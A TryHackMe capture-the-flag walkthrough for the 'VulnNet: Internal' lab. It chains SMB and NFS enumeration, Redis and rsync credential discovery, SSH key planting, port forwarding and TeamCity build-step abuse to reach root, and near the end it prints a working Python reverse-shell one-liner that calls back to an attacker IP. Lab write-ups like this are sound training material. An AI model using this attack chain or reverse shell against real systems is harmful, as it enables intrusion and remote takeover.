TryHackMe|VulnNet-Internal WriteUp\Walkthrough (English)

VulnNet: Internal

Room Link: https://tryhackme.com/r/room/vulnnetinternal

=====================================================================

• First, do an Nmap scan for the machine for all ports. You have many ports open.

 

Do another -A Nmap scan for these ports.

• First, let’s start with smb. Enum4linux -a IP 

Null sessions are allowed.

You have a user called sys-internal. 

You have 3 shares. 

I started by looking at the IPC$ and there is nothing, so I looked into the other shares share. There you have 2 folders, and by looking into their contents you will get the first flag which is the services.txt file ✨. The other files didn't have anything interesting, so let’s move on to the next step. 

• Since you have rpcbind on the machine, you might be able to mount some folders, to see which folders you can mount showmount -e IP.

You can mount /opt/conf *. To mount it to your machine, first create a folder called mount to save the mount drive into it. then sudo mount -t nfs IP:/opt/conf .(the “.” denotes current directory). 

From the service scan you knew that you have Redis running on the machine on port 6379. Redis is an open-source in-memory storage, used as a distributed, in-memory key–value database, and we will focus on it. If you looked into the folder, you will see Redis configuration file. Open this file and search for “pass” to see if you can find any password on it. 

And indeed, there is.

• Now we know that Redis is running and we have credentials we can interact with it using redis-cli -h IP -a ‘B65Hx562F@ggAZ@F’. To test the connectivity and to see if the server is running type ping.

Now list all the keys, you see we have 5 keys. The type command prints the type of the key. And the lrange command is used to list the contents of a key of type list. get command is used to print the contents of a key of type string. The second flag is in the key internal flag ✨.  

 

Also in the key authlist you have interesting finds. 

You have what looks like a base64 encoded data. Encode it.

Walllaa!! You have credentials to access rsync on the remote machine.

• From the service scan, we know that we have rsync running on the default port 873. Rsync, or Remote Sync, is a free command-line tool that lets you transfer files and directories to local and remote destinations. Rsync is used for mirroring, performing backups, or migrating data to another server, … etc. To list out the files inside the server rsync IP::.

We have files. To get this into our machine create a folder named rsync and then download the files from the server into your machine. 

You will be prompted to enter the password, enter the password you just had from the redis server.

• Once the files are downloaded into your machine, you will notice that they are the home directory of a user called sys-internal. In it, you will find the 3^rd flag, the user.txt ✨.

• Now that you have access to the machine through rsync, and you noticed that the user has .ssh in his home directory, you can generate SSH keys using ssh-keygen then transfer the public key to the .ssh folder, this way you can connect to the machine using ssh.

This way you created an authorized_keys file inside the .ssh directory, and then saved the value of your public key into it. Explanation of some of the options above:

• -v: increase verbosity
• –inplace: update destination files in-place
• --no-OPTION: turn off an implied OPTION
• -o: preserve owner (super-user only)
• -g: preserve group

Now you can ssh sys-internal@IP -i vulnet(your generated private key) into the machine.

• Once you are in the machine go to /tmp and transfer linpeas.sh from your machine to the victim’s. Run the script.

From linpeas.sh results, there is an unexpected directory in root ”/” which is TeamCity, and there are a bunch of open ports only available locally, one of which is the default port of TeamCity which is 8111.

 

• Navigate to /TeamCity and see the log files to see if you can find any access tokens.

Indeed, there are. Try these tokens one by one, until one works with you. You need to use this token to login as a super user. To reach TeamCity webserver we need to port forward port 8111 on the victim to our machine. using ssh: ssh -L 4455:127.0.0.1:8111 sys-internal@IP -i vulnet -fN. Now navigate to localhost:4455 on your machine to reach the target’s port 8111.

• Once the page opens to you, you will have a login page.

Click on as a Super user

Enter the access token

 

Once you are in the home page click on Create project 

Click on Manually and then fill the fields as demonestrated above, and click create.

Once you are done, you will have a message that tells you to “create a build configuration”. So click on create build configuration.

Fill the fields as demonstrated. 

This will move you to a “New VCS Root” click skip.

Then click on Build Steps from the left side pane. Fill the fields as shown above. In the python arguments put your reverse shell code, I took mine from https://revshells.com. 

-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.18.96.207",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

In order for this shell to work remove the python3 from the beginning. Then click save.

Once you are done you will get a message that tells you “you can now run the first build …” set up a listener on hyour machine and click on Run. Since you logged in as a super user you will get a reverse shell back as root. cd /root and retrieve the last flag ✨.